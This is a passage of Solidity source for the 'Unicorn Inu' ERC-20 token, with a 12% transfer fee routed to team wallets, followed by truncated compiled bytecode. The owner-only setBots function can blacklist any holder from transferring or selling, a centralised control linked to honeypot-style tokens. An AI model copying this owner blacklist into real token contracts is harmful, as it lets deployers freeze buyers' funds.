}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract UnicornInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Unicorn Inu";
string public constant _symbol = "UINU";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 4;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c7565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611976565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f556e69636f726e20496e75000000000000000000000000000000000000000000815250905090565b60006108a161089a6119fd565b8484611a05565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfc565b61098a846108d56119fd565b61098585604051806060016040528060288152602001613ee960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245b9092919063ffffffff16565b611a05565b600190509392505050565b61099d6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fd565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251b565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612616565b90505b919050565b610d0b6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f55494e5500000000000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600481526020017f55494e550000000000000000000000000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600b81526020017f556e69636f726e20496e7500000000000000000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b90811502906040516000604051808303818